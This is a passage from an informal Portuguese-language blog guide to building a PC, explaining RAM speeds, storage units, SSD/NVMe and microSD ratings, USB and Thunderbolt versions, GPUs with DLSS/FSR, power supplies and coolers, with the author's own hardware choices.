Tem as pequenas coisas também: Windows 11 costuma exigir a existência de um chip TPU 2.0 que também costuma ser opcional na maioria dos modelos de placa-mãe. É bom ter, ou compre uma que já vem, ou compre separado e encaixe.

Alguns modelos não suportam overclocking. Se você for um entusiasta de tuning, tem que checar quais modelos suportam. Coisas como Secure Boot, é bom ter. Isso qualquer bom modelo tem, mas se estiver querendo escolher uma velha, pra economizar, cheque se tem.

O ideal é ter portas como Thunderbolt 4.0, USB 4.0, mas se tiver pelo menos USB 3 Gen 2, já ajuda. Nem toda USB 3 é igual!! Tem gerações diferentes! Só porque tem porta azul não quer dizer que é veloz. Vou falar disso depois.

Ideal ter Wi-fi embutido também, pra evitar ter que comprar uma placa ou USB separado. Mas cuidado, a maioria ainda oferece só o obsoleto Wi-Fi 5. Já estamos em Wi-fi 7, um Samsung Galaxy moderno já suporta, por exemplo. Mas como sempre, se está acostuma às baixas velocidades dos planos de internet que tem por aí, de fato, até Wi-fi 5 funciona. Mas se quiser transferir grandes arquivos entre seus computadores e celulares, vai querer um Wi-fi 7 mais moderno, no mínimo Wi-fi 6.

Também não adianta nada ter Wi-Fi 7 no seu PC mas continuar usando roteador que a Vivo, Claro, te deram. Essas porcarias que eles dão pra você são totalmente obsoletos, Wi-fi 5 no máximo. Eu mesmo uso um TP-Link BE9000 Wi-fi 7 e desligo o roteador Wi-Fi da Vivo.

RAM DDR 5

Outra coisa importante pra ver na sua CPU e sua placa-mãe é qual tipo de RAM eles suportam. Como já falei antes, se quiser uma workstation de ponta, vai querer uma que suporte RAM ECC. Na prática, pra maioria de nós, não precisa de ECC. Só é mais caro, pras raras vezes que um raio cósmico conseguir flipar um bit e crashear seu sistema (é muito, muito raro).

Mais importante é escolher DDR 5. Mas tanto DDR 5 ou DDR 4 tem variações, só pra continuar complicando sua vida. Memória também tem clock!

Acho que a DDR 4 o mais veloz é 3200Mhz, o mais comum ainda é 2666Mhz. PCs mais velhos que 2014 vão ser DDR 3!! Cuidado!

Já DDR 5 começa em 4800Mhz e vai até uns 6000Mhz.

Se estiver num Linux dá pra saber as informações da sua assim:

# dmidecode 3.6
Getting SMBIOS data from sysfs.
SMBIOS 3.7.0 present.

Handle 0x0011, DMI type 16, 23 bytes
Physical Memory Array
 Location: System Board Or Motherboard
 Use: System Memory
 Error Correction Type: None
 Maximum Capacity: 128 GB
 Error Information Handle: 0x0010
 Number Of Devices: 4
...
Handle 0x0016, DMI type 17, 100 bytes
Memory Device
 Array Handle: 0x0011
 Error Information Handle: 0x0015
 Total Width: 64 bits
 Data Width: 64 bits
 Size: 48 GB
 Form Factor: DIMM
 Set: None
 Locator: DIMM 1
 Bank Locator: P0 CHANNEL A
 Type: DDR5
 Type Detail: Synchronous Unbuffered (Unregistered)
 Speed: 6000 MT/s
 Manufacturer: CORSAIR
...

Isso vai listar informações de cada pente de memória conectado ao barramento da placa-mãe. Com esse output (que está cortado pra não ficar longo demais) dá pra concluir que eu tenho 2 pentes de memória, cada um com 48 GB e 6000 MT/s de velocidade.

Eles são Corsair Vengeance, não-ECC, dando um total de 96 GB de RAM DDR 5. Eu poderia colocar 128 GB ou mais, mas até hoje nunca consegui saturar esse tanto de memória, então vai aguentar assim por muito tempo ainda.

Tem até RGB 🤣.

Pra maioria das pessoas eu diria que 16 GB é o novo mínimo e 32 GB é o “sweet-spot”. Pra programadores que precisa subir muitos containers Docker pesados, só aí iria pra 64 GB.

“Transfers” != “bytes”

Um detalhe. Quando falamos em DDR 4 3200 ou DDR 5 6000, não é 6000 MB/s e sim 6000 MT/s.

Eu odeio essa unidade, mas isso são “Mega Transfers por segundo”. Quando falei de PCI Lanes, também é uma pegadinha. PCIe 5.0 diz ter 32 GT/s (32 Giga TRANSFER/segundo). Vamos traduzir.

“Transfers” se refere a quantos símbolos crús (que não equivale a 1 byte) dá pra transmitir por segundo. No caso de PCIe lanes, eles são seriais, então 1 transfer é 1 símbolo pelo fio físico. Mas 1 transfer não é 1 byte!

No caso de PCIe Lanes:

• PCIe 3.0 - 8 GT/s aproximadamente 985 MB/s por lane
• PCIe 4.0 - 16 GT/s aproximadamente 1.9 GB/s por lane
• PCIe 5.0 - 32 GT/s aproximadamente 3.9 GB/s por lane

Pra começar DDR significa Double-Data-Rate, onde dados são transferidos nas duas bordas de cada clock. Portanto:

• 6000 MT/s é 3000 Mhz
• DDR 5 6000 é 3000 Mhz
• DDR 4 3200 é 1600 Mhz

Por que diabos se fala nessa unidade idiota de “mega-transfers” ou “giga-transfer”? Única e exclusivamente pra marketing, porque é o número maior. E consumidor é burro, ele escolhe o número maior.

“GIBI-bytes” != “GIGA-bytes”

O marketing não acaba em “transfers”. Já notou que você compra um SSD de 1 TERABYTE mas quando pluga no Windows ele te fala que tem só uns “931 GB”?? Onde foram parar os outros 69 GB??

No mundo normal de computação, nós medimos dados na base 2. Portanto 2^10 = 1024. Se a unidade básica for “byte” então 1024 bytes é 1 KILO-byte. 2^20 é 1 MEGA-byte e 2^30 é 1 GIGA-byte.

Qualquer programador iniciante entende isso. Mas a população em geral não, então todo fabricante de HDs, SSD, NVME e qualquer tipo de “storage” resolveu mudar tudo e dizer o seguinte:

• 1 KB = 1000 bytes
• 1 MB = 1000^2 = 1.000.000 bytes
• 1 GB = 1000^3 = 1.000.000.000 bytes

E a unidade correta, que seria KILOBYTE ou MEGABYTE eles renomearam pra essa coisa HORRENDA que é “KIBI-BYTE” ou “MIBI-BYTE” ou “GIBI-BYTE”. E eu só tenho a dizer:

“KIBI” de cú é rola!!!

Mas o marketing vai te dizer:

• 1 KiB = 1024 bytes
• 1 MiB =1024^2 = 1.048.576 bytes
• 1 GiB = 1024^3 = 1.073.741.824 bytes

Por isso que você compra um HD de 1 TB e o Windows (corretamente) diz 931 GiB. Pelo menos RAM e velocidade de rede tendem a ser as unidades binárias reais, então quando você compra um pente de “16 GB”, na linguagem do marketing você comprou “16 GiB” mesmo. E quando falamos rede de 1 Gbps estamos falando de 1 GiB/s. Só armazenamento que é essa putaria.

HDs vs SSDs vs NVME

Falando em armazenamento, precisa entender o seguinte:

• HDs mecânicos ainda existem, tem bom custo benefício, são confiáveis e razoavelmente velozes. Os melhores HDs são pau a pau com um SSD médio, porque no final ambos vão saturar o mesmo barramento, que é SATA.
• Se quiser realmente alta-performance, você vai usar NVMEs, que se ligam diretamente ao barramento PCIe 4.0 ou 5.0 da sua placa-mãe. Mas são bem mais caros.

Vamos lá:

• HDs mecânico é uma tecnologia que começou lá nos anos 50, quando poucos kilobytes precisavam de um rack inteiro do tamanho de um servidor inteiro de hoje. Como os Phoenix que você pode ver no canal do Usagi Electric.

• Os HDs mais velozes de hoje são de 7200 RPM (rotações dos discos por minuto) e velocidades que variam de 150 a 200 MB/s, com latência de 1 a 2 ms. A vantagem é que eles oferecem grandes volumes a preços atrativos (eu tenho vários de 20 TB no meu NAS). Mas a velocidade realmente não é mais moderno.

• SSDs nasceram no fim dos anos 2000, Solid-State Drives porque não tem partes móveis, são como chips de RAM persistentes. Elas se conectam ao mesmo tipo de barramento que HDs mecânicos: SATA III (Serial ATA) e oferecem velocidade na faixa de 500 a 550 MB/s sequencial. O dobro de HDs mecânicos. E tem a vantagem de facilmente poder substituir um HD mecânico no mesmo barramento e ser compatível. Mas é isso: o teto é 550 MB/s.

• NVMEs SSD muitos confundem porque também podem ser chamados de “SSDs”, afinal são “solid-state” mas de tecnologias diferentes. O correto seria dizer “SSD SATA” e “SSD NVME”. NVME significa Non-Volatile Memory Express, que pra maioria das pessoas não quer dizer nada mesmo.

• NVMEs se ligam ao barramento PCIe, portanto o teto é a velocidade dos lanes de PCIe como falei antes. Em PCIe 3.0 o teto vai ser 3.5 GB/s (que já é 6x mais veloz que o mais veloz SSD SATA III). Em PCIe 5.0 o máximo teórico é 13 a 14 GB/s (muito difícil atingir tudo isso, a maioria fica na faixa dos 5GB/s mesmo). A latência cai de “ms” pra “µs” (milissegundo vs MICROssegundo).

Ou seja SATA III está preso na faixa das centenas de MEGAbytes por segundo, já NVME sobe pra quase dezena de GIGAbyte por segundo. É uma ordem de grandeza de 70x.

Vamos entender mais na prática:

• PCIe 3.0 x4 (2015-2020) ~3.0 a ~3.5 GB/s (Samsung 970 EVO Plus, WD Black SN750)
• PCIe 4.0 x4 (2020-2023) ~6 a 7.5 GB/s (Samsung 980 PRO, WD SN850X, Crucial P5 Plus)
• PCIe 5.0 x4 (a partir de 2023) ~10 a 12GB/s em pico, não média (Crucial T700, Corsair MP700, Gigabyte Aorus Gen5 10000)

Entenda que essas velocidades são pra leitura sequencial de arquivos grandes e não pra leituras ou escritas aleatórias de arquivos pequenos. A velocidade diminui DRAMATICAMENTE em uso do dia a dia de verdade com arquivos pequenos.

Mesmo em 2025 ainda não é comum NVMEs PCI 5.0, todo mundo ainda usa NVMEs PCIe 4.0, portanto a velocidade máxima que se encontra hoje é na faixa dos 7 GB/s, mais comum perto dos 5 GB/s, que são os Samsung 980 PRO / 990 PRO, WD Black SN850X, Crucial P5 Plus / P3 Plus ou similares.

Mesmo com uma CPU e placa-mãe que suporte PCIe 5.0, você ainda vai plugar NVME PCIe 4.0 (não tem problema, porque são retro-compatíveis). Mas não espere conseguir essa faixa acima de 10 GB/s sem pagar MUITO CARO. Simplesmente não compensa.

Muita gente ainda usa SSD: fique longe dos genéricos sem marca e baratos demais da AliExpress. É super comum ser só um adaptador de microSD card. E também não gosto de Kingston, essa marca já me deu muita dor de cabeça. Fique com marcas confiáveis como Samsung, Sandisk, Crucial, Western Digital e coisas assim.

Eu mesmo comprei um desses só pra demonstrar esse GOLPE, pelo Mercado Livre e postei stories no meu Instagram na época. É fácil de identificar: são excessivamente baratos. Acho que depois disso o MercadoLivre tentou ser mais esperto pra não vender isso, mas no AliExpress sempre tem.

Tem mais: NVMEs tem diferentes tamanhos:

NVMEs se conectam no tal slot M2 na placa-mãe. É um slot que dá acesso direto ao barramento PCIe, normalmente x4 (4 lanes).

O modelo mais comum é o 2280. É o que a maioria dos PCs suporta. Mas dependendo do notebook, ou se for um handheld como o primeiro Asus Rog Ally e acho que também o Steam Deck, vai precisar de tamanhos menores como os modelos 2242 ou 2230.

É um trade-off de tamanho físico por capacidade. 2242 se não me engano, tem capacidade máxima de 2 TB. Eu gosto de 4 TB ou 8 TB então precisa ser pelo menos um 2280.

Tem mais problemas: marcas “baratas” são baratas porque tiram alguns componentes como DRAM. Pra funcionar rápido, precisa existir uma memória RAM pra servir e buffer e cache. Além disso, modelos baratos tem controladores porcaria. E isso diminui não só a velocidade, como a vida útil dos chips.

Não use modelos baratos, eles são proporcionalmente piores e vão ou corromper seus dados ou morrer cedo. Não existe almoço grátis. Novamente, fique com marcas conhecidas como Samsung. Samsung sempre é confiável.

MicroSD Cards

Mesma coisa: todo microSD sem marca ou barato é golpe. Ele não tem a capacidade que anuncia, quando bate num teto começa a sobrescrever os dados do começo. Não confie.

Só compro Samsung. Mas não é tão simples assim. Lembra os caras do marketing dos TIBI-BYTES?? Pois é, eles atacam pra valer em microSD. Existem 3 diferenças: classes (capacidade), velocidade do barramento (BUS), notas de velocidade (Speed), confiabilidade! Sim! Vamos entender:

1. Classes de Capacidade

• SDSC (Standard Capacity): up to 2 GB (obsoleto).
• SDHC (High Capacity): 2–32 GB.
• SDXC (Extended Capacity): 32 GB–2 TB.
• SDUC (Ultra Capacity): up to 128 TB (não comum ainda).

2. Bus Interface

• UHS-I: up to 104 MB/s.
• UHS-II: up to 312 MB/s (linha extra de pinos).
• UHS-III: up to 624 MB/s (raro).
• SD Express (PCIe/NVMe): teórico ~985 MB/s+ (ainda nicho).

3. Speed Ratings

• Speed Class (C): C2 (2 MB/s), C4, C6, C10.
• UHS Speed Class (U): U1 (10 MB/s), U3 (30 MB/s).
• Video Speed Class (V): V6 → V90 (6–90 MB/s, sustentado).

4. Application Class (A)

• A1: ≥1500 IOPS read, ≥500 IOPS write, 10 MB/s sustentado.
• A2: ≥4000 IOPS read, ≥2000 IOPS write, 10 MB/s sustentado.

1. Níveis de Confiança

• Consumer grade: pra câmera e fones (o mais comum).
• High Endurance: pra escrita contínua (dashcams, câmeras de segurança).
• Industrial grade: suporta range maior de temperatura, desgasta menos, muito mais caro.

Na prática, procure sempre SDXC, UHS-II (ou UHS-I que é mais comum), V90 (mais comum é abaixo de V30 mesmo). É isso que significa esse malditos códigos escritos num microSD:

Esse da foto da Samsung tem capacidade de 512GB, classe SDXC, barramento UHS-I (até 90 MB/s), velocidade U3 (30MB/s) (é esse ícone de um 3 dentro do U na imagem). Feito pra funcionar bem em câmeras ou fones ou handhelds da vida. Menos que isso é ruim.

Outro exemplo:

Agora você consegue ler. O Samsung EVO Select de 512GB, SDXC, U3, A2, V30 e o da direita SanDisk Ultra 128GB SDXC, U1, A1, C10. Agora você sabe o que procurar e o que isso significa.

Mais importante é Speed Rating, muitos são classe C como C10 acima. Mas se o uso for pra gravar video em boa qualidade, sem engasgar, procure classe V como V90!

USB vs Thunderbolt

Pra piorar a confusão de marketagem ainda tem USB e Thunderbolt. Vamos entender: primeiro de tudo ter conector USB-C não significa nada. USB-C é padrão do conector físico do cabo, só isso. Os dados que trafegam nela usam protocolos, e existem vários.

No caso de plug USB-A, que é o retângulo que tem lado certo pra encaixar e é o mais comum na parte de trás de um PC, alguns vem com cores diferentes:

• Preto → USB 2.0 (480 Mb/s).
• Azul → USB 3.0 / 3.1 Gen 1 / 3.2 Gen 1 (5 Gb/s).
• Verde-azulado / Turquesa → USB 3.1 Gen 2 / 3.2 Gen 2 (10 Gb/s).
• Vermelho → porta de alta energia (quase sempre USB 3.2 Gen 2, algumas vezes “always-on charging”).
• Amarelo / Laranja → Também porta “charging”, depende do fabricante.
• Branco → Legado / BIOS flashback (quase sempre USB 2.0).

Confusão de Nomenclatura

• USB 3.0 (2010) → depois renomeado pra USB 3.1 Gen 1 → daí pra USB 3.2 Gen 1 (5 Gb/s).
• USB 3.1 (2013) → agora USB 3.2 Gen 2 (10 Gb/s).
• USB 3.2 (2017) → USB 3.2 Gen 2×2 (20 Gb/s).
• USB4 (2019) → 20–40 Gb/s, mesmo conector físico de USB-C, Thunderbolt-like.
• USB4 v2 (2022) → até 80–120 Gb/s, ainda sendo espalhado durante 2025.

Portar mais populares em placas-mãe (2025)

• USB 2.0 (preto/branco) → ainda presente pra mouse e teclado, BIOS flashback.
• USB 3.2 Gen 1 (azul) → 5 Gb/s, muito comum.
• USB 3.2 Gen 2 (verde-azulado/vermelho) → 10 Gb/s, comum em placas de médio ou alto custo.
• USB 3.2 Gen 2×2 (Type-C, algumas vezes vermelho/verde-azulado) → 20 Gb/s, placas mais caras.
• USB4 / Thunderbolt 4 (Type-C) → 40 Gb/s, placas premium, workstations.

Fora isso, não é tão comum em PCs mas é bem comum em Macs, são as portas Thunderbolt.

• Thunderbolt 1 (2011)

  • Baseado em PCIe 2.0 ×4 + DisplayPort 1.1a.
  • Conector: Mini DisplayPort.
  • Banda: 10 Gb/s (bi-directional).
  • Maior parte é Apple + algumas placas Intel.

• Thunderbolt 2 (2013)

  • Conector: Mini DisplayPort.
  • Canais agregados → 20 Gb/s.
  • Ainda PCIe 2.0, DisplayPort 1.2.
  • Usado na era do MacBook Pro / Mac Pro.

• Thunderbolt 3 (2015)

  • Conector: USB-C (primeiro Thunderbolt a usar).
  • Banda: 40 Gb/s (PCIe 3.0 ×4 + DP 1.2).
  • Suporte completo a USB 3.1/3.2.
  • Largamente adotado em laptops, docks, eGPUs.
  • Requer certificação; nem toda porta USB-C = Thunderbolt 3.

• Thunderbolt 4 (2020)

  • Conector: USB-C.
  • Ainda máximo de 40 Gb/s (como TB3), mas menos requerimentos mínimos:
    • Mínima banda de PCIe 3.0 ×4 garantida.
    • Suporte pra monitors duplos 4K ou um 8K.
    • Carregamento mandatório + suporte a “wake from sleep”.
  • Mais consistente entre diversos dispositivos.
  • Suporte nativo no Intel Tiger Lake+, AMD Ryzen 7000+ (alguns).

• Thunderbolt 5 (anúncio em 2023, entregue em 2024/25)

  • Conector: USB-C.
  • Banda: 80 Gb/s bi-direcional, 120 Gb/s modo assimétrico (pra monitores).
  • Usa tunelamento de PCIe 4.0.
  • DisplayPort 2.1, suporta dual 8K ou triplo 4K.
  • Ideal pra external GPUs, docks de alta-banda, monitores de workstation.

• Como Thunderbolt se relaciona com USB / USB4

  • Thunderbolt 3 → formou a base pro USB4.
  • USB4 = padrão aberto, 20–40 Gb/s, compartilha muito do protocolo Thunderbolt.
  • USB4 v2 (especificação de 2022, saindo em 2025) = até 80–120 Gb/s, efetivamente equivalente a Thunderbolt 5.
  • Muitas novas portas são “compatíveis com USB4 / Thunderbolt,” mas nem todos garantem todas as funcionalidades de TB a menos que seja certificado.

Conector Thunderbolt, a partir do 3 se não me engano é igual USB-C mas tem o símbolo de “raio” nele pra diferenciar.

Como podemos ver, não basta ter uma porta azul ou porta USB-C. Tem que ler a especificação no manual da placa-mãe que escolher. No geral, a maioria das placas-mãe modernas tem pelo menos USB 3.2 Gen 2 ou até USB 4. Pra Thunderbolt o buraco é mais embaixo, a maioria não tem.

Thunderbolt é importante se quiser eGPU ou storage externo pra coisas como edição de video (DAS), como CalDigit TS5 Plus, Sonnet Echo 13 ou então ligar múltiplos monitores 4K.

GPUs

Primeiro: GPU é o que chamamos o chip principal dentro de uma “placa-gráfica” que é o produto completo que tem a GPU, VRAM, cooler, placa-mãe e outros componentes.

Todo mundo chama tudo só de “GPU” então meio que tanto faz, mas via de regra você está procurando uma “placa-gráfica”. Vamos resumir a história recente, caso esteja interessado em usados primeiro.

AMD (Radeon)

• Série:
  • RX 5000 (Navi, 2019) – lançamento de PCIe 4.0, midrange (RX 5700 XT).
  • RX 6000 (RDNA2, 2020) – ray tracing, Infinity Cache, competitivo com RTX 3000.
  • RX 7000 (RDNA3, 2022) – design de “chiplet”, alta performance por /watt, RX 7900 XTX vs RTX 4080.
• Nomenclatura: RX [Series][Model]. quanto maior o número = mais novo, mais rápido. XT = variante mais rápida.
• Vantagens: bom custo-benefício, mais VRAM que NVIDIA na mesma classe, drivers abertos no Linux.
• Desvantagens: ray tracing mais lento que NVIDIA, mais fraco pra AI/compute.

Intel (Arc)

• Série:
  • Arc A300/A500/A700 (Alchemist, 2022) – primeira geração.
  • A380 = entrada, A770 = midrange pra um pouco mais alto.
• Futuro: Battlemage (2025), depois Celestial.
• Vantagens: competitivo em preço, boa engine de mídia (encode/decode AV1), drivers melhorando.
• Desvantagens: drivers imaturos(especialmente em Linux), opções high-end limitadas, sem CUDA/AI.

NVIDIA (GeForce / RTX)

• Série (recente):
  • GTX 10 (Pascal, 2016) – enorme salto de eficiência (GTX 1080).
  • RTX 20 (Turing, 2018) – introduziu ray tracing (RTX 2080 Ti).
  • RTX 30 (Ampere, 2020) – grande salto, popular (RTX 3080, 3090).
  • RTX 40 (Ada Lovelace, 2022) – melhor em ray tracing, DLSS 3 frame generation, RTX 4090 é o topo de linha.
• Naming: GTX/RTX + series + model (higher = better). Ti/SUPER = faster variant.
• Strengths: best ray tracing, DLSS, CUDA/AI support, most mature ecosystem.
• Weaknesses: high cost, VRAM sometimes lower than AMD at same tier.

Eu sou enviesado pra opinar sobre gráficos porque sou time verde faz anos. Eu tive a GTX 1080, RTX 3090, RTX 4060 e RTX 4090. Esses últimos dois ainda uso hoje. A 4060 pra games é mais que suficiente até 1440p na maioria e até 4K e em muitos menos pesados.

Editei a maioria dos videos do meu canal com GTX 1080 (enquanto eu filmava em 1080p) e depois migrei pra RTX 3090 quando passei a gravar em 4K com minha câmera Sony A7S III. Ela seria mais que suficiente ainda hoje, mas resolvi migrar pra RTX 4090.

A RTX 4090 uso pra render 3D (Blender) ou IA (LLMs com Ollama, LM Studio, Aider, etc). Não me vejo precisando de uma 5090 ainda (não tem mais VRAM que a minha, que é a única coisa que seria relevante pra LLMs).

Pro dia a dia, gerenciador de janelas, navegar na web e tudo mais, eu dou output pela iGPU (GPU integrada) que já vem na Ryzen 9. A RTX fica como GPU secundária pra render offload.

Vamos ver as GPUs mais modernas:

NVIDIA — GeForce RTX 50 (Blackwell, 2025)

• Key: PCIe 5.0, GDDR7, DLSS 4 / Multi-Frame Generation, DisplayPort 2.1b (UHBR20).
• RTX 5090: 32 GB GDDR7, 512-bit bus, arquitetura Blackwell.
• RTX 5080: Blackwell + GDDR7 + DLSS 4.

AMD — Radeon RX 9000 (RDNA 4, 2025)

• Foco: mid/high-range, RT melhorado + novos aceleradores de IA.

Intel — Arc B-series (Battlemage, 2024/2025)

• B580/B570); foco no valor, AV1 ainda forte, drivers melhorando.

Pontos Importantes

• VRAM eu não recomendo menos que 12GB. Se for fazer coisas mais profissionais como editar videos e criação de conteúdo, pelo menos 16GB. Dá pra rodar LLMs menores com menos VRAM, mas pra rodar as maiores, no mínimo 24GB (como minha 4090) ou 32GB (5090).
• Se estiver procurando a performance pra games de 4K com 240hz, garanta que tem Display Port 2.1. (RTX série 50 ou RX 9000).
• Ecossistema: depende da tecnologia precisa. CUDA só tem em NVIDIA. DLSS 4 (super resolution, frame generation) só tem em NVIDIA. O equivalente em AMD é FSR/HYPR-RX. Intel não tem nada disso.
• Performance também depende da banda, então PCIe 4 vs PCIe 5 como já expliquei antes. RTX série 50 tira vantagem de PCIe 5.

Não adianta comprar uma RTX série 50 e colocar com uma placa-mãe e CPU que só suporta PCIe 4.0. Vai funcionar, mas não vai tirar proveito de uma placa gráfica tão cara. É desperdício, melhor ficar numa RTX 2080 ou RTX 3080, por exemplo.

Custo-benefício e suporte em Linux é melhor em AMD. Se tiver dinheiro, RX série 9000, ou pelo menos série 7000. Procure pela versão XT/XTX que são as de mais performance. Mas não vai ter suporte a CUDA. O equivalente de API na AMD é o ROCm mas nem todo software suporta ele ainda.

Em games, interessa muito DLSS (Deep Learning Super Sampling) que são modelos de IA especializados em tratar frames de games.

• RTX 20-series (Turing, 2018)

  • Suporta DLSS 1.0 (primeira geração, neural net por jogo - que vem nas atualizações de drivers, qualidade de imagem mais ou menos).
  • Depois ganhou DLSS 2 via atualização de driver.

• RTX 30-series (Ampere, 2020)

  • Suporta DLSS 2 completo (reconstrução de imagem mais nítida, estabilidade temporal).
  • Suporta DLSS 3 Frame Generation (frames interpolados por IA), mas somente na série 40 tem Optical Flow Accelerator v2, então série 30 não consegue frame generation.

• RTX 40-series (Ada Lovelace, 2022)

  • Suporta DLSS 2.
  • Suporta DLSS 3 Frame Generation (insere frames de IA → maior FPShigher FPS, pequeno custo em latência).
  • Adiciona DLSS 3.5 Ray Reconstruction (IA substitui denoiser → melhor qualidade de ray tracing).

• RTX 50-series (Blackwell, 2025)

  • Suporta DLSS 4 (Multi-Frame Generation).
  • Melhor interpolação de frame com redução de artefatos de latência comparado a DLSS 3.
  • Constrói em cima de DLSS 3.5 (Ray Reconstruction ainda incluso).

• DLSS 1 → Prova de conceito, qualidade inconsistente, obsoleto.

• DLSS 2 → Per-pixel temporal upscaling, imagem nítida, artefatos mínimos, muito usado ainda hoje.

• DLSS 3 → Frame Generation → interpola frames inteiros, boost de FPS em cenários limitados pela GPU; requer série 40 pra cima.

• DLSS 3.5 → Ray Reconstruction → melhora luzes/reflexões de ray tracing, mais detalhes, menos “noise” (barulho). Funciona em todas as RTX.

• DLSS 4 → Multi-Frame Generation (RTX 50+) → movimentos mais suaves, redução de latência de artefatos.

AMD tem o equivalente a DLSS na forma de FSR, FidelityFX Super Resolution. Em Resumo:

• FSR 1.0 (2021)

  • Spatial upscaler (per-frame, sem motion vectors).
  • Suporte a várias GPUs (funciona em NVIDIA, Intel, consoles).
  • Vantagem: simples, universal.
  • Desvantagem: imagem soft, shimmering.

• FSR 2.0 (2022)

  • Temporal upscaler (usa motion vectors + histórico).
  • Mais perto de DLSS 2 em qualidade.
  • Suportado em AMD + NVIDIA + Intel GPUs.
  • Mais pesado, mas leve comparado com DLSS.

• FSR 3.0 (2023)

  • Adiciona Frame Generation (interpolação sem IA).
  • Roda em AMD e NVIDIA.
  • Vantagem: mais FPS mesmo em GPUs mais velhas.
  • Desvantagem: mais latência de input do que Optical Flow + Reflex combo de DLSS 3.

• FSR 3.1 (2024)

  • Separa Frame Gen de Upscaling → pode usar FG com outros upscalers (DLSS/XeSS).
  • Lida melhor com artefatos (ghosting, shimmering).

Intel tem XeSS mas é bem mais pobre que FSR (que parece que é open source, por isso também suporta outras GPUs) e DLSS (que é proprietário e só funciona em NVIDIA RTX).

NVIDIA série GTX pra trás não suporta nada disso e são considerados obsoletos já. Se quiser algo mais antigo pra economizar não iria mais pra trás do que RTX série 20, como uma 2060 ou 2080.

GPU de Notebook é outra coisa que a marketagem fode. Por exemplo, você vai encontrar notebooks que dizem ter “RTX 4060”, porém tem menos CUDA cores, tem menos clock (limitação térmica, não tem como resfriar dentro de um notebook), TGP que é o total de energia consumida que vai ser faixa de 35W a no máximo 140W, mas sempre fica mais baixo. Em desktop uma 4060 iria de 115 a 160W. Vai ter menos VRAM (8GB ou menos). Performance geral vai ser de 30% a 50% mais lento que modelo desktop de mesmo nome.

Então uma RTX 4060 mobile vai ser mais equivalente a uma RTX 3050 Ti ou RTX 3060.

Vamos comparar alguns modelos da NVIDIA (as duas que eu tenho e a mais nova de todas):

RTX 4060 (Ada Lovelace, 2023)

• Architecture: AD107
• CUDA cores: 3,072
• Base / Boost: 1.83 / 2.46 GHz
• VRAM: 8 GB GDDR6, 128-bit bus
• Bandwidth: 272 GB/s (with 24 MB L2 cache)
• TGP: 115 W

RTX 4090 (Ada Lovelace, 2022)

• Architecture: AD102
• CUDA cores: 16,384
• Base / Boost: 2.23 / 2.52 GHz
• VRAM: 24 GB GDDR6X, 384-bit bus
• Bandwidth: 1,008 GB/s
• TGP: 450 W

RTX 5090 (Blackwell, 2025)

• Architecture: GB202 (Blackwell)
• CUDA cores: ~24,576
• Base / Boost: ~2.5+ GHz
• VRAM: 32 GB GDDR7, 512-bit bus
• Bandwidth: ~1.5–1.6 TB/s
• TGP: ~450–500 W (varies)

Notem como TGP varia drasticamente de um modelo 60 pra 90, de 115W pra absurdos 450 a 500W! E realmente consome isso se começa a puxar modelos LLM ou jogos AAA pesados. Também note a diferença gritante de CUDA cores. De novo: a 4060 roda meus jogos da Steam (muitos AAA) super de boa, seja tem 1440p max settings ou 4K medium settings, 60 fps a 100fps. Graças a DLSS, dá pra ter boa resolução e bom FPS.

Modelos 90 é se realmente for renderizar coisa pesada, editar video pesado ou rodar muita IA.

Power Supply (PSU)

Toda hora estou falando sobre TGP, TDP, solução térmica e tem que falar de PSUs, as “fontes”. Qualidade aqui faz diferença, como sempre, nunca compre sem marca, marca genérica ou coisa barata do AliExpress. Um PSU porcaria pode diminuir vida útil dos seus componentes ou destruir mesmo seu PC.

Marcas boas são: Seasonic, Corsair, Cooler Master, Be Quiet, EVGA. Queremos certificações como 80 PLUS Gold, Platinum, Titanium (e cuidado, marcas xing-ling vem com essas etiquetas).

Sobre a capacidade, o que realmente vai fazer diferença na conta é o consumo e CPU e GPU, veja as especificações dos modelos que escolher, mas em linhas gerais:

• setup velho, com uma i5 ou Ryzen 5, GPU média como uma RTX 4060 vai ser faixa de consumo de 200W a 300W (varia entre “idle”, que é parado e pico, onde dá turbo boost ou está usando todos os cores, recompilando kernel, rodando LLMs, etc). Considerando outros componentes no PC é melhor pelo menos uma PSU de 550 a 650W.

• setup médio, com uma RTX 4070 ou RX 7800 vai consumir faixa de 300W a 450W então escolha uma PSU de 750 a 850W.

• setup de ponta, com uma RTX 4080 pra cima, puxando muito processamento de IA. Vai consumir faixa de 500 a 800W. Então é bom já considerar uma PSU 1000W ou 1600W se colocar 2 GPUs em paralelo.

A que eu uso no meu PC é uma Corsair RM1000x Shift

Lembram que falei sobre tamanhos de placa-mãe e gabinetes? ATX, mini-ITX? A PSU RM1000x que falei agora não cabe nelas. Pra isso precisa de uma fonte low profile ou SFF (Small Form Factor).

Digamos que queira colocar uma RTX 4070 num gabinete mini-ITX. Vai precisar de uma SFX ou SFX-L, pelo menos de 650 ou 750W. Exemplos são:

• Corsair SF750 / SF600 Platinum (SFX)
• SilverStone SX700 / SX750 (SFX)
• Seasonic Focus SGX-650 / SGX-750 (SFX)
• Lian Li SP series (SFX / SFX-L)

CUIDADO

Os cabos que vem junto com a PSU são específicas pra PSUs da mesma marca.

Não misture cabos diferentes com marcas diferentes!!!!

Embora os encaixes pareçam o mesmo, elas podem danificar seus componentes!! Não existe um padrão de cabos pra PSU!!! Não misture seus cabos Corsair com PSUs Seasonic ou, pior, não compre cabos genéricos xing-ling no AliExpress e misture com sua PSU!! Você foi avisado!!

Coolers

Se estiver gastando bastante pra pegar os topos de linha de CPU, GPU, placa-mãe, PSU, não pode economizar em coolers.

Sabia que a maior parte da energia que seu PC consome é dissipado em forma de calor? Virtualmente tudo. O PC que falei que consome de 750 a 850W? Vai tudo pro ar em forma de calor. Somente uma pequena fração é convertida em outras formas como luz (LEDs), som (speakers), energia cinética (ventoinhas).

O princípio é baseado na lei de conservação de energia, que diz que energia não pode ser criada ou destruída, só transformada. O processo de computação por si não consome energia de uma forma que previne sua conversão em calor. O processo de processamento de informação envolve movimento de eléctrons através de circuitos, que geram calor por causa da resistência elétrica.

Portanto, quanto mais potente forem os componentes, mais energia consome e mais calor precisa ser dissipado rápido!

De cara, se dinheiro não for problema, escolha o melhor. O melhor é sempre Noctua. Eu nunca tive problema, são ultra silenciosos, confiáveis e nunca deixam na mão. E prefira air cooler, que tem a menor quantidade de peças móveis e que podem dar defeito ou precisar de manutenção. Liga uma vez e deixa pra sempre.

Se for uma CPU mais pesada como a minha Ryzen 9 7850X3D ou a mais nova 9850X3D tem que ser a NH-D15 G2.

Eu tenho a G1 e funciona sem problemas já faz uns 3 anos.

